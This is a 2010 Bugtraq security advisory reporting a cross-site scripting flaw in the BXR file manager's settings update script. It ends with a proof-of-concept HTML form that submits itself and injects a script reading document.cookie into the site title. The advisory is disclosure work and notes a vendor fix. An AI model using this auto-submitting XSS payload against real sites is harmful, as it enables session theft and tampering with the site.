bugtraq - XSS vulnerability in BXR

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Message-Id: <201008051354.o75Ds3ds088955@htbridge.ch>
Date: Thu, 5 Aug 2010 15:54:03 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in BXR

Vulnerability ID: HTB22504
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_bxr.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) 
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/settings/update_settings" script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/settings/update_settings" method="post"  name="main" >

<input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version